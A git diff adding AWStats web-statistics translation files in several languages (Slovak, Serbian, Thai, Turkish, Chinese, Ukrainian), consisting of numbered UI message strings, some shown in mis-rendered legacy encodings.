0000000..9e22f1e --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-sk.txt @@ -0,0 +1,176 @@ +# Slovak message file (lecram@lecram.sk) +# $Revision: 1.5 $ - $Date: 2008/11/15 15:03:31 $ +PageCode=utf-8 +message0=Neznámy +message1=Neznámy (nepreložená IP) +message2=Ostatné +message3=Prehliadnuť detaily +message4=Deň +message5=Mesiac +message6=Rok +message7=Štatistika pre +message8=Prvá návšteva +message9=Posledná návšteva +message10=Počet návštev +message11=Unikátne návštevy +message12=Návšteva +message13=Výrazy +message14=Hľadanie +message15=Percentá +message16=Traffic +message17=Domény/krajina +message18=Návštevy +message19=Stránky/URL +message20=Hodiny +message21=Browsery (prehliadače) +message22=Chybové kódy HTTP +message23=Referencie +message24=Hľadané výrazy +message25=Domény/krajiny návštevníkov +message26=hosts +message27=stránok +message28=rôzne stránky +message29=Prístup +message30=Iné slová +message31=Nenájdené stránky +message32=Chybové kódy HTTP +message33=Verzie Netscape +message34=Verzie MS Internet Explorer +message35=Posledná aktualizácia +message36=Príchod z +message37=Pôvod +message38=Priama adresa / Obľúbené (Bookmark) +message39=Neznámý pôvod +message40=Odkaz z internetového vyhľadávača +message41=Odkaz z inej stránky (ine stránky ako vyhľadávače) +message42=Odkaz z vlastnej stránky (iná stránka na serveri) +message43=Výrazy použité vo vyhľadávači +message44=Vyhľadávané slová +message45=Nepreložená IP adresa +message46=Neznámy OS (položka User-Agent) +message47=Požadované, ale nenájdené URL (HTTP 404) +message48=IP adresa +message49=Chyba Dotazov +message50=Neznámy prehliadač (položka User-Agent) +message51=Návštevnosť robotov +message52=návštev/návštevníka +message53=Roboti +message54=Volne šíriteľný nástroj pre vytváranie štatistík návštevnosti +message55=z +message56=Stránok +message57=Hity +message58=Verzie +message59=Operačné systémy +message60=Jan +message61=Feb +message62=Mar +message63=Apr +message64=Máj +message65=Jún +message66=Júl +message67=Aug +message68=Sep +message69=Okt +message70=Nov +message71=Dec +message72=Navigácia +message73=Typy súborov +message74=Aktualizovať +message75=Bajtov +message76=Späť na hlavnú stránku +message77=naj +message78=dd mmm yyyy - HH:MM +message79=Filter +message80=Úplny výpis +message81=Hosts +message82=Známe +message83=Roboti +message84=Ned +message85=Pon +message86=Uto +message87=Str +message88=Štv +message89=Pia +message90=Sob +message91=Dni v týždni +message92=Kto +message93=Kedy +message94=Prihlásení užívatelia +message95=Min +message96=Priemer +message97=Max +message98=Web kompresia +message99=Ušetrená šírka pásma +message100=Pred kompresiou +message101=Po kompresii +message102=Celkom +message103=Kľúčové slová +message104=Vstupné stránky +message105=Kód +message106=Priemerná velkosť +message107=Linky z NewsGroup +message108=KB +message109=MB +message110=GB +message111=Zachycovač +message112=Áno +message113=Nie +message114=WhoIs informácie +message115=OK +message116=Exit stránky +message117=Trvanie návštevy +message118=Zavrieť okno +message119=Bytov +message120=Hľadané kľúčové frázy +message121=Hľadané kľúčové slová +message122=Odkazy z rôznych vyhladávačov +message123=Odkazy z rôznych stránok +message124=Iné frázy +message125=Anonymný užívateľ +message126=Odkazy z vyhľadávačov +message127=Odkazy zo stránok +message128=Súhrn +message129=V zobrazení 'Rok' nie je dostupná presná hodnota +message130=Polia s hodnotami +message131=E-mail odosielatela +message132=E-mail prijemcu +message133=Zobrazený časový úsek +message134=Extra/Marketing +message135=Veľkosti obrazovky +message136=Útoky červov/vírusov +message137=Pridať do obľúbených +message138=Dni v mesiaci +message139=Rôzne +message140=Prehliadače s podporou Java +message141=Prehliadače s podporou Macromedia Director +message142=Prehliadače s podporou Flash +message143=Prehliadače s podporou Real audio playing +message144=Prehliadače s podporou Quicktime audio playing +message145=Prehliadače s playing podporou Windows Media audio +message146=Prehliadače s podporou PDF +message147=SMTP Error kódy +message148=Krajiny +message149=E-maily +message150=Veľkosť +message151=Prvý +message152=Posledný +message153=Filter výnimiek +message154=Zobrazené kódy generovali hity a ruch bez uživateľských prehliadnutí, takže nebudú zahrnuté v ostatných grafoch +message155=Cluster (Zoskupenie) +message156=Zobrazení roboti generovali hity a ruch bez uživateľských prehliadnutí, takže nebudú zahrnuté v ostatných grafoch +message157=Čísla za + zobrazujú úspešné hity na súbory "robots.txt". +message158=Zobrazené červy generovali hity a ruch bez uživateľských prehliadnutí, takže nebudú zahrnuté v ostatných grafoch +message159=Neprehliadajúce hity a ruch zahŕňajú hity generované robotmi, červami alebo špecifikými HTTP kódmi +message160=Prehliadajúci ruch +message161=Neprehliadajúci ruch +message162=Mesačná história +message163=Červy +message164=Iné červy +message165=Úspešne odoslané e-maily +message166=Chybné/Odmietnuté e-maily +message167=Citlivé ciele +message168=Vypnutý JavaScript +message169=Vytvorené +message170=Zásuvné moduly (plug-ins) + + diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-sr.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-sr.txt new file mode 100644 index 0000000..bb63eb9 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-sr.txt @@ -0,0 +1,168 @@ +# Serbian message file (Tomislav Loncar, tomo@inecco.net; Bojan Suzic, bojans@teol.net; Mihailo Stefanović, mst@mikis.org) +# $Revision: 1.5 $ - $Date: 2004/01/17 02:25:04 $ +PageCode=utf-8 +message0=Непознато +message1=непознатих (IP адреса није разрешена) +message2=Остало +message3=Види детаље +message4=Дан +message5=Мeсец +message6=Година +message7=Статистике за +message8=Прва посета +message9=Последња посета +message10=Број посета +message11=Јединствених посетилаца +message12=посета +message13=кључних речи +message14=Претрага +message15=Проценат +message16=Саобраћај +message17=Домени/земље +message18=посетилаца +message19=Странице/URL +message20=Часова (серверско време) +message21=Прегледници +message22=HTTP грешке +message23=Везе +message24=Није ажурирано +message25=Домени/земље посетилаца +message26=рачунара +message27=страница +message28=различитих страница +message29=Приступ +message30=Остале речи +message31=Непронађене странице +message32=HTTP кодови грешака +message33=Верзије Netscape-a +message34=Верзије IE-a +message35=Ажурирано +message36=Спољне везе: +message37=Како је корисник дошао +message38=Директан приступ +message39=Непознато порeкло +message40=Везе са интернет претраживача +message41=Везе са спољних страница (осим интернет претраживача) +message42=Везе са властитих страница (остале странице унутар вашег сајта) +message43=Фраза коришћених на претраживачима +message44=Кључне речи коришћене на претраживачима +message45=Неразрешена IP адреса +message46=Непознат оперативни систем +message47=Захтевана локација није пронађена (HTTP грешка 404) +message48=IP адреса +message49=Погодака са грешкама +message50=Непознат интернет прегледник +message51=робота посетилаца +message52=Посета по посетиоцу +message53=Посетиоци роботи +message54=Бесплатни анализатор посета за напредне веб статистике +message55=од +message56=Страница +message57=Погодака +message58=Верзије +message59=Оперативни систем +message60=Јан +message61=Феб +message62=Мар +message63=Апр +message64=Мај +message65=Јун +message66=Јул +message67=Авг +message68=Сеп +message69=Окт +message70=Нов +message71=Дец +message72=Навигација +message73=Врсте датотека +message74=Ажурирај сада +message75=Проток +message76=Назад на главну страну +message77=првих +message78=dd mmm yyyy - HH:MM +message79=Филтер +message80=Пуна листа +message81=Рачунари +message82=познатих +message83=Роботи +message84=Нед +message85=Пон +message86=Уто +message87=Сре +message88=Чет +message89=Пет +message90=Суб +message91=Дани у недељи +message92=Ко +message93=Када +message94=Пријављени корисници +message95=Минимално +message96=просечно +message97=Максимално +message98=Веб компресија +message99=Уштеда саобраћаја +message100=Пре компресије +message101=Након компресије +message102=Укупно +message103=различитих кључних фраза +message104=Улазне странице +message105=Код +message106=Просечна величина +message107=Везе са дискусионих група +message108=KB +message109=MB +message110=GB +message111=Масовно преузимање страна (grabber) +message112=Да +message113=Не +message114=WhoIs информације +message115=У реду +message116=Излаз +message117=Трајање посета +message118=Затвори прозор +message119=Бајтова +message120=Фразе за претрагу +message121=Кључне речи за претрагу +message122=различитих претраживача са везом +message123=различитих сајтова са везом +message124=Остале фразе +message125=Остале пријаве (и/или анонимни корисници) +message126=Претраживачи са везама +message127=Сајтови са везама +message128=Преглед +message129=Тачна вредност није доступна у годишњем прегледу +message130=Вредности поља +message131=Е-пошта пошиљаоца +message132=Е-пошта примаоца +message133=Период обухваћен извештајем +message134=Додатно/маркетинг +message135=Величине екрана +message136=Напади црва/вируса +message137=Додавања у омиљене локације (оквирно) +message138=Дани у месецу +message139=Разно +message140=Прегледници са Java подршком +message141=Прегледници са Macromedia Director подршком +message142=Прегледници са Flash подршком +message143=Прегледници са Real audio подршком +message144=Прегледници са Quicktime audio подршком +message145=Прегледници са Windows Media audio подршком +message146=Прегледници са PDF подршком +message147=SMTP кодови грешака +message148=Земље +message149=Порука +message150=Величина +message151=Први +message152=Последњи +message153=Exclude filter +message154=Овде приказани кодови су направили посете или саобраћај који корисници нису видели, па зато нису укључени у остале извештаје. +message155=Кластер +message156=Овде приказани роботи су направили посете или саобраћај који корисници нису видели, па зато нису укључени у остале извештаје. +message157=Бројеви приказани иза + су успешни погодци на "robots.txt" датотеке. +message158=Овде приказани црви су направили посете или саобраћај који корисници нису видели, па зато нису укључени у остале извештаје. +message159=Неприказан саобраћај је саобраћај који су направили роботи, црви, или одговори са специјалним HTTP статус кодовима. +message160=Приказаног саобраћаја +message161=Неприказаног саобраћаја +message162=Месечне статистике +message163=Црви +message164=различитих црва diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-th.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-th.txt new file mode 100644 index 0000000..cf68e6f --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-th.txt @@ -0,0 +1,172 @@ +# Thai message file (kamthorn@users.sourceforge.net) +# $Revision: 1.1 $ - $Date: 2004/08/16 20:07:54 $ +PageCode=utf-8 +message0=ไม่ทราบ +message1=ไม่ทราบ (ไอพีไม่สามารถค้นกลับได้) +message2=อื่นๆ +message3=แสดงรายละเอียด +message4=วัน +message5=เดือน +message6=ปี +message7=สถิติสำหรับ +message8=เยี่ยมชมครั้งแรก +message9=เยี่ยมชมล่าสุด +message10=จำนวนการเยี่ยมชม +message11=ผู้เยี่ยมชม (ไม่ซ้ำ IP) +message12=การเยี่ยมชม +message13=คำสำคัญที่แตกต่างกัน +message14=ค้นหา +message15=ร้อยละ +message16=ปริมาณข้อมูล +message17=โดเมน/ประเทศ +message18=ผู้เยี่ยมชม +message19=หน้า-URL +message20=แยกตามชั่วโมง +message21=บราวเซอร์ +message22= +message23=ผู้อ้างอิง +message24=ยังไม่เคยถูกปรับปรุง (ดู 'Build/Update' ในหน้าเว็บ awstats_setup.html) +message25=โดเมน/ประเทศ ของผู้เยี่ยมชม +message26=โฮสต์ +message27=หน้าเว็บ +message28=หน้า-url ที่แตกต่างกัน +message29=เข้าชม +message30=คำอื่นๆ +message31=หน้าที่ไม่พบ +message32=รหัสสถานะ HTTP +message33=รุ่นของเน็ตสเคป +message34=รุ่นของ IE +message35=ปรับปรุงล่าสุด +message36=เชื่อมต่อมายังไซต์นี้ จาก +message37=ต้นทาง +message38=เข้ามาโดยตรง / บุ๊คมาร์ค +message39=ไม่ทราบที่มา +message40=ลิงก์มาจากเสิร์ชเอนจิ้นบนอินเทอร์เน็ต +message41=ลิงก์มาจากหน้าเว็บภายนอก (เว็บอื่นๆ ที่ไม่ใช่เสิร์ชเอนจิ้น) +message42=ลิงก์มาจากหน้าเว็บภายใน (หน้าอื่นๆ บนไซต์เดียวกัน) +message43=ประโยคสำคัญที่ใช้บนเสิร์ชเอนจิ้น +message44=คำสำคัญที่ใช้บนเสิร์ชเอนจิ้น +message45=ที่อยู่ไอพีที่ค้นกลับไม่ได้ +message46=โอเอสที่ไม่รู้จัก (useragent field) +message47=URL ที่ถูกเรียกใช้แต่ไม่มี (รหัส HTTP 404) +message48=ที่อยู่ IP +message49=จำนวนครั้งที่ผิดพลาด +message50=บราวเซอร์ที่ไม่รู้จัก (useragent field) +message51=โรบ็อตที่แตกต่างกัน +message52=จำนวนการเข้าชม/ผู้เยี่ยมชม +message53=จำนวนผู้เยี่ยมชมที่เป็น โรบ็อต/สไปเดอร์ +message54=ตัววิเคราะห์แฟ้มปูมบันทึกตามเวลาจริงฟรี สำหรับสถิติเว็บขั้นสูง +message55=ของ +message56=หน้า +message57=ครั้ง +message58=รุ่น +message59=ระบบปฏิบัติการ +message60=ม.ค. +message61=ก.พ. +message62=มี.ค. +message63=เม.ย. +message64=พ.ค. +message65=มิ.ย. +message66=ก.ค. +message67=ส.ค. +message68=ก.ย. +message69=ต.ค. +message70=พ.ย. +message71=ธ.ค. +message72=การเข้าเยี่ยมชม +message73=ชนิดแฟ้ม +message74=ปรับปรุงเดี๋ยวนี้ +message75=แบนด์วิดธ์ +message76=กลับสู่หน้าหลัก +message77=สูงสุด +message78=dd mmm yyyy - HH:MM +message79=ตัวกรอง +message80=ทุกรายการ +message81=แยกตามโฮสต์ +message82=รู้จัก +message83=โรบ็อต +message84=อา. +message85=จ. +message86=อ. +message87=พ. +message88=พฤ. +message89=ศ. +message90=ส. +message91=แยกตามวันในสัปดาห์ +message92=เป็นใคร +message93=เมื่อไหร่ +message94=ผู้ใช้ที่ได้รับสิทธิอนุญาต +message95=น้อยที่สุด +message96=เฉลี่ย +message97=สูงที่สุด +message98=การบีบอัดเว็บ +message99=ประหยัดแบนด์วิดธ์ได้ +message100=เปิดใช้การบีบอัด +message101=ผลลัพธ์การบีบอัด +message102=ทั้งหมด +message103=ประโยคสำคัญที่แตกต่างกัน +message104=เข้า +message105=รหัส +message106=ขนาดเฉลี่ย +message107=ลิงก์จากกลุ่มข่าว +message108=KB +message109=MB +message110=GB +message111=Grabber +message112=ใช่ +message113=ไม่ใช่ +message114=Info. +message115=ตกลง +message116=ออก +message117=ระยะเวลาที่เยี่ยมชม +message118=ปิดกรอบนี้ +message119=ไบต์ +message120=ประโยคค้นหา +message121=คำค้นหา +message122=เสิร์ชเอนจิ้นที่อ้างอิงมาที่แตกต่างกัน +message123=ไซต์ที่อ้างอิงมาที่แตกต่างกัน +message124=ประโยคอื่น +message125=ผู้เข้าใช้อื่น (และ/หรือผู้ใช้ที่ไม่ออกนาม) +message126=เสิร์ชเอนจิ้นที่อ้างอิงมา +message127=ไซต์ที่อ้างอิงมา +message128=โดยสรุป +message129=ค่าเจาะจงที่ไม่อยู่ในมุมมองแบบ 'ปี' +message130=อาเรย์ของค่าข้อมูล +message131=ผู้ส่งอีเมล +message132=ผู้รับอีเมล +message133=ช่วงที่รายงาน +message134=พิเศษ/เพื่อการค้า +message135=ขนาดจอภาพ +message136=การโจมตีโดยหนอนหรือไวรัส +message137=Add to favorites (estimated) +message138=แยกตามวันที่ +message139=Miscellaneous +message140=บราวเซอร์ที่สนับสนุนจาวา +message141=บราวเซอร์ที่สนับสนุนแมโครมีเดียไดเรกเตอร์ +message142=บราวเซอร์ที่สนับสนุนแฟลช +message143=บราวเซอร์ที่สนับสนุนตัวเล่นเรียลออดิโอ +message144=บราวเซอร์ที่สนับสนุนตัวเล่นควิกไทม์ออดิโอ +message145=บราวเซอร์ที่สนับสนุนตัวเล่นวินโดวส์มีเดียออดิโอ +message146=บราวเซอร์ที่สนับสนุน PDF +message147=รหัสข้อผิดพลาด SMTP +message148=แยกตามประเทศ +message149=เมล +message150=ขนาด +message151=แรกสุด +message152=หลังสุด +message153=ตัวกรองออก +message154=รหัสที่แสดงนี้ให้ค่าจำนวนครั้งและปริมาณข้อมูลในกลุ่ม "ไม่แสดง" โดยผู้เยี่ยมชม ดังนั้นค่าเหล่านี้จะไม่ถูกนำไปรวมในชาร์ตอื่นอีก +message155=คลัสเตอร์ +message156=โรบ็อตที่แสดงนี้ให้ค่าจำนวนครั้งและปริมาณข้อมูลในกลุ่ม "ไม่แสดง" โดยผู้เยี่ยมชม ดังนั้นค่าเหล่านี้จะไม่ถูกนำไปรวมในชาร์ตอื่นอีก +message157=จำนวนที่อยู่หลัง + คือจำนวนครั้งที่อ่านไฟล์ "robots.txt" สำเร็จ +message158=หนอนที่แสดงนี้ให้ค่าจำนวนครั้งและปริมาณข้อมูลในกลุ่ม "ไม่แสดง" โดยผู้เข้าเยี่ยมชม ดังนั้นค่าเหล่านี้จะไม่ถูกนำไปรวมกับชาร์ตอื่นอีก +message159=ปริมาณของข้อมูลที่ไม่ถูกแสดง ประกอบด้วยปริมาณข้อมูลที่ถูกสร้างโดยโรบ็อต หนอน หรือการตอบกลับด้วยรหัสสถานะพิเศษของ HTTP +message160=ปริมาณของข้อมูลที่ถูกแสดง +message161=ปริมาณของข้อมูลที่ไม่ถูกแสดง +message162=ประวัติรายเดือน +message163=จำนวนหนอน +message164=หนอนที่แตกต่างกัน +message165=เมลที่ส่งได้สำเร็จ +message166=เมลที่ล้มเหลวหรือถูกปฏิเสธ +message167=Sensitive targets +message168=ปิดการใช้งาน JavaScript diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-tr.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-tr.txt new file mode 100644 index 0000000..8376cd7 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-tr.txt @@ -0,0 +1,179 @@ +# Turkish message file +# by giray@pultar.org 2002/08/29 +# by Hakan A. 2007/05/18 +# $Revision: 1.5 $ - $Date: 2008/10/05 11:01:31 $ +PageCode=iso-8859-1 +message0=Bilinmeyen +message1=Bilinmeyen (��z�lemeyen IP) +message2=Di�erleri +message3=Detaylar� G�r +message4=G�n +message5=Ay +message6=Y�l: +message7=Site +message8=�lk ziyaret +message9=Son ziyaret +message10=Ziyaret�i say�s� +message11=Ayr� Ziyaret�i +message12=Ziyaret +message13=Anahtar S�zc�k +message14=Arama +message15=Y�zde +message16=Trafik +message17=Alan Adlar�/�lkeler +message18=Ziyaret�iler +message19=Sayfalar-URL +message20=Ziyaret Saatleri (Sunucu saati) +message21=Taray�c�lar +message22=HTTP Hatalar� +message23=Y�nlendirenler +message24=Aramada kullan�lan Anahtar S�zc�kler +message25=Ziyaret�ilerin alan adlar�/�lkeleri +message26=) bilgisayar +message27=) sayfa +message28=farkl� sayfa +message29=Eri�im +message30=Di�er kelimeler +message31=Bulunamayan Sayfalar +message32=HTTP Hata kodlar� +message33=Netscape s�r�mleri +message34=IE s�r�mleri +message35=Son �statistik G�ncellemesi +message36=Siteye ba�lant� yapanlar +message37=K�ken +message38=Do�rudan adres / Yer imi +message39=K�keni bilinmeyen +message40=�nternet arama motorundan ba�lant� +message41=D�� sayfalardan ba�lant�lar (arama motorlar� hari� di�er web siteleri) +message42=��ten sayfalar (ayn� sitede bulunan ba�ka sayfalardan ba�lant�lar) +message43=) kullan�lan anahtar s�zc�kler (arama motorlar�nda) +message44= +message45=��z�lemeyen IP Adresleri +message46=Bilinmeyen ��letim Sistemi (Y�nlendiren alan�nda) +message47=Gereken fakat bulunmayan URLler (HTTP kodu 404) +message48=IP Adresi +message49=Hata Hit say�s� +message50=Bilinmeyen Taray�c�lar (Y�nlendiren alan�nda) +message51=Ziyaret eden robot +message52=Ziyaret say�s�/ziyaret�i say�s� +message53=Robot/�r�mcek ziyaretleri +message54=Geli�mi� web istatistikleri i�in �zg�r, ger�ek zamanl� k�t�k analizi program� +message55=( toplam +message56=Sayfa +message57=Hit +message58=S�r�mler +message59=��letim Sistemleri +message60=Oca +message61=�ub +message62=Mar +message63=Nis +message64=May +message65=Haz +message66=Tem +message67=Agu +message68=Eyl +message69=Eki +message70=Kas +message71=Ara +message72=Gezinim +message73=G�nl�k istatistikler +message74=�imdi g�ncelle +message75=Bayt +message76=Ana sayfaya d�n +message77=En s�k kullan�lan +message78=dd mmm yyyy - HH:MM +message79=S�zge� +message80=T�m liste +message81=Hosts +message82=Bilinen +message83=Robotlar +message84=Pzr +message85=Pzt +message86=Sal +message87=�ar +message88=Per +message89=Cum +message90=Cts +message91=Haftan�n g�nleri +message92=Kim +message93=Ne zaman +message94=Authenticated users +message95=En d���k +message96=Ortalama +message97=En y�ksek +message98=Web s�k��t�rmas� +message99=kazan�lan bant geni�li�i +message100=S�k��t�rma �ncesi +message101=S�k��t�rma sonras� +message102=Toplam +message103=Farkl� Anahtar Kelime +message104=Giri� sayfalar� +message105=Code +message106=Ortalama boyut +message107=Haber grubundan ba�lant�lar +message108=KB +message109=MB +message110=GB +message111=Grabber +message112=Evet +message113=Hay�r +message114=Info. +message115=OK +message116=��k�� +message117=Ziyaret s�resi +message118=Pencereyi kapat +message119=Bytes +message120=Arama Kal�plar� +message121=Arama Kelimeleri +message122=y�nlendiren farkl� arama motoru +message123=y�nlendiren farkl� site +message124=Di�er kal�plar +message125=Di�er loginler (ve/veya anonim kullan�c�) +message126=Y�nlendiren arama motorlar� +message127=Y�nlendiren siteler +message128=�zet +message129='Y�l' g�r�n�m�nde tam de�er yok +message130=Data value arrays +message131=G�nderen EMail +message132=Alan EMail +message133=Raporlama d�nemi +message134=Extra/Marketing +message135=Ekran boyutlar� +message136=Solucan/Virus sald�r�lar� +message137=Favorilere ekle (relative indicator) +message138=Ay�n g�nleri +message139=�e�itli +message140=Java destekli taray�c�lar +message141=Macromedia Director destekli taray�c�lar +message142=Flash destekli taray�c�lar +message143=Real audio �alma destekli taray�c�lar +message144=Quicktime ses �alma destekli taray�c�lar +message145=Windows Media ses �alma destekli taray�c�lar +message146=PDF destekli taray�c�lar +message147=SMTP Hata kodlar� +message148=�lkeler +message149=Postalar +message150=Boyut +message151=�lk +message152=Son +message153=Exclude filter +message154=Burada g�r�nt�lenen kodlar ziyaret�iler taraf�ndan g�r�nt�lenmeyen hit veya trafik yaratt���ndan di�er grafiklere dahil edilmemi�tir. +message155=Cluster +message156=Burada g�r�len robotlar, ziyaret�iler taraf�ndan g�r�nt�lenmeyen hit veya trafik yaratt���ndan di�er grafiklere dahil edilmemi�tir. +message157=+ i�aretinden sonraki numaralar "robots.txt" dosyas�ndaki ba�ar�l� hitlerdir. +message158=Burada g�r�len solucanlar, ziyaret�iler taraf�ndan g�r�nt�lenmeyen hit veya trafik yaratt���ndan di�er grafiklere dahil edilmemi�tir. +message159=G�r�nt�lenmeyen trafik robotlar, solucanlar ve �zel HTTP stat�s� i�eren yan�tlard�r. +message160=G�r�nt�lenen trafik +message161=G�r�nt�lenmeyen trafik +message162=Ayl�k ge�mi� +message163=Solucanlar +message164=farkl� solucan +message165=Ba�ar�yla g�nderilen postalar +message166=G�nderilemeyen/reddedilen postalar +message167=Duyarl� hedef +message168=Javascript kapal� +message169=Haz�rlayan +message170=eklentiler +message171=B�lgeler +message172=�ehirler + diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-tw.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-tw.txt new file mode 100644 index 0000000..db05c96 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-tw.txt @@ -0,0 +1,189 @@ +# Chinese (traditionnal) message file +# (by Geoffrey Hoo geoffrey.hoo@NOSPAMmyrealbox.com, remove "NOSPAM" to contact) +# $Revision: 1.7 $ - $Date: 2004/01/15 09:19:24 $ +PageCode=big5 +message0=�L�k�o�� +message1=�L�k�o�� (����ϸѺ���W��) +message2=��L +message3=�˵��ԲӸ�� +message4=�P�� +message5=��� +message6=�~��: +message7=�έp���� +message8=�������[��� +message9=�̪���[��� +message10=���[���� +message11=���[�� +message12=���[���� +message13=������r�� +message14=�j�M +message15=�ʤ��� +message16=�y�q�έp +message17=����ΰ�a +message18=���X�� +message19=������ URL ���} +message20=�C�p�� +message21=�s���� +message22=HTTP ���~ +message23=�ѦҸ�T +message24=�q����s +message25=���[�̪�����ΰ�a +message26=�D�� +message27=������ +message28=�Ӥ��P������ +message29=�s������ +message30=���P���r�� +message31=�䤣�쪺���� +#message32=HTTP ���~�X +message32=HTTP ���A�X +message33=Netscape ���� +message34=IE ���� +message35=�̪��s +message36=�s����������k +message37=�ӷ����} +message38=���}�Ѱ��[�̦ۦ��J�A�αq���Ҩ��X +message39=�L�k�o���s������k +message40=�q�j�M�����s�� +message41=�q�������~����L (�ëD�O�j�M������) �����s�� +message42=�q�����������s�� +message43=�����j�M������r�y +message44=�����j�M������r�� +message45=�L�k�ϸ�Ķ��IP��} +message46=�L�k�o�����@�~�t�� +message47=�䤣�쪺���}�s�� (HTTP ���~�X 404) +message48=IP ��} +message49=���~���� +message50=�L�k�o�����s���� +message51=�Ӻ��C�� +message52=���[����/���[�� +message53=�j�M�������������C�� +message54=�����������R�t�� +message55=�ө� +message56=������ +#message57=�ɮ� +message57=�I���� +message58=���� +message59=�@�~�t�� +#message60=�@�� +#message61=�G�� +#message62=�T�� +#message63=�|�� +#message64=���� +#message65=���� +#message66=�C�� +#message67=�K�� +#message68=�E�� +#message69=�Q�� +#message70=�Q�@�� +#message71=�Q�G�� +message60=1�� +message61=2�� +message62=3�� +message63=4�� +message64=5�� +message65=6�� +message66=7�� +message67=8�� +message68=9�� +message69=10�� +message70=11�� +message71=12�� +message72=�s�����έp +message73=�ɮ����O +message74=�ߧY��s +message75=�줸�� +message76=�^��D�� +message77=�e +message78=yyyy�~ mmm dd�� HH:MM +#message79=�L�o +message79=�]�t +message80=�����C�X +message81=�D�� +message82=�Ӹ�Ķ���\ +message83=�j�M�������� +message84=�� +message85=�@ +message86=�G +message87=�T +message88=�| +message89=�� +message90=�� +message91=�P���X +message92=�����[�� +message93=�����[�ɶ� +message94=ų�O�X���ϥΪ� +message95=�̤p +message96=������ +message97=�̤j +message98=�������Y +message99=�`�٤F���W�e +message100=���Y�e +message101=���Y�� +message102=�`�� +message103=�Ӥ��P������r�y +message104=�J���B +message105=�s�X +message106=�����j�p +message107=�q�s�D�s�ճs�� +#message108=K�Ӧ줸�� +#message109=M�Ӧ줸�� +#message110=G�Ӧ줸�� +message108=KB +message109=MB +message110=GB +message111=��������� +message112=�O +message113=�_ +message114=WhoIs ��T +message115=OK +message116=�X���B +message117=�C�����[�Ҫ�ɶ� +message118=���������� +#message119=�Ӧ줸�� +message119=Bytes +message120=�ΥH�j�M������r�y +message121=�ΥH�j�M������r�� +message122=�Ӥ��P���j�M�����श���[�̨�o�� +message123=�Ӥ��P����L�����श���[�̨�o�� +message124=��L�r�y +message125=��L�n�� (�]�t�ΦW�n��) +message126=�Ѩ��Ƿj�M�����श +message127=�Ѩ��Ǩ�L�����श +message128=���n +message129=�@���~�έp�ɡA�L�k�ǽT�o�����[�̪��ƥ� +message130=Data value arrays +message131=�o�H�H�l�} +message132=���H�H�l�} +message133=������� +message134=�B�~ / ������ +message135=�ù��j�p +message136=į��/�f�r ���� +message137=�[�J�ڪ��̷R (���p) +message138=�C�� +message139=���� +message140=�s������� Java +message141=�s������� Macromedia Director +message142=�s������� Flash +message143=�s������� Real audio playing +message144=�s������� Quicktime audio playing +message145=�s������� Windows Media audio playing +message146=�s������� PDF +message147=SMTP ���~�X +message148=��a +message149=�l��� +message150=�j�p +message151=���� +message152=�̪� +message153=�L�o +#message154=* Codes shown here gave hits or traffic "not viewed" by visitors, so are isolated in this chart. +message154=�o�Ǫ��A�X�|�W�[���[��"�ݤ���"���I���Ʃάy�q, �ҥH���]�A�b��L�έp����. +message155=Cluster +message156=�o�Ƿj�������H(Robots)�|�W�[���[��"�ݤ���"���I���Ʃάy�q, �ҥH���]�A�b��L�έp����. +message157="+" �᪺�Ʀr�O "robots.txt" ���I����. +message158=�o��į�η|�W�[���[��"�ݤ���"���I���Ʃάy�q, �ҥH���]�A�b��L�έp����. +message159="�ݤ���"���y�q�O�ѷj�������H(Robots),į�ΩίS�O�� HTTP �^�ФޭP��. +message160=���q�y�q +message161="�ݤ���"���y�q +message162=�C��O�� +message163=į�� +message164=���P��į�� \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ua.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ua.txt new file mode 100644 index 0000000..e9872b7 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ua.txt @@ -0,0 +1,157 @@ +# Ukrainian message file (roman@elsyst.km.ua) +# $Revision: 1.13 $ - $Date: 2003/08/16 21:35:08 $ +PageCode=windows-1251 +message0=���i����� +message1=���i����� (�� ������� ����������� IP) +message2=I��i +message3=�������i��... +message4=���� +message5=�i���� +message6=�i� +message7=���������� ����� +message8=������ �i��� +message9=������i� �i��� +message10=�i���i��� �i���i� +message11=��i������� �i��i�����i� +message12=�i��� +message13=�i���� �������� ��i� +message14=����� +message15=�i������ +message16=�������� ����i� +message17=������/����� +message18=�i��i�����i +message19=����i���-URL� +message20=������ ���� +message21=�������� ��������� +message22=������� HTTP +message23=�������i +message24=�� ������������ +message25=������/����� �i��i�����i� +message26=����i� +message27=����i��� +message28=�i���� ����i���-URLi� +message29=����������� +message30=I��i ����� +message31=�� �������i ����i��� +message32=���� ������� HTTP +message33=����i� Netscape +message34=����i� IE +message35=������� ��������� +message36=�����, ����� �i��i�����i ���������� �� ���� +message37=���������� +message38=������ ������ / �������� +message39=������� �������� �� ����������� +message40=��������� � ��������� ����� +message41=��������� � ����i��i� ����i��� (� i���� ����i� �� �������� ��������� �����) +message42=��������� � �����i��i� ����i��� (i���� ����i��� �� ����� � ����i) +message43=������i �����, �� ����� ��i��������� ����� �� �������i� �����i +message44=������i �����, �� ����� ��i��������� ����� �� �������i� �����i +message45=IP-������, ��i �� ������� ����������� � i���� +message46=���i���� �� +message47=�������i, ��� ���������i URL-� (HTTP ��� 404) +message48=IP-������ +message49=������� ��������� +message50=���i���i ����������i +message51=�i���� �����i� +message52=�i���/�i��i����� +message53=������ ��� ������-�i��i�����i +message54=������������ ����i����� ��������i� ��� ��������� ���������� ����i� +message55=� +message56=����i��� +message57=�������� +message58=����i� 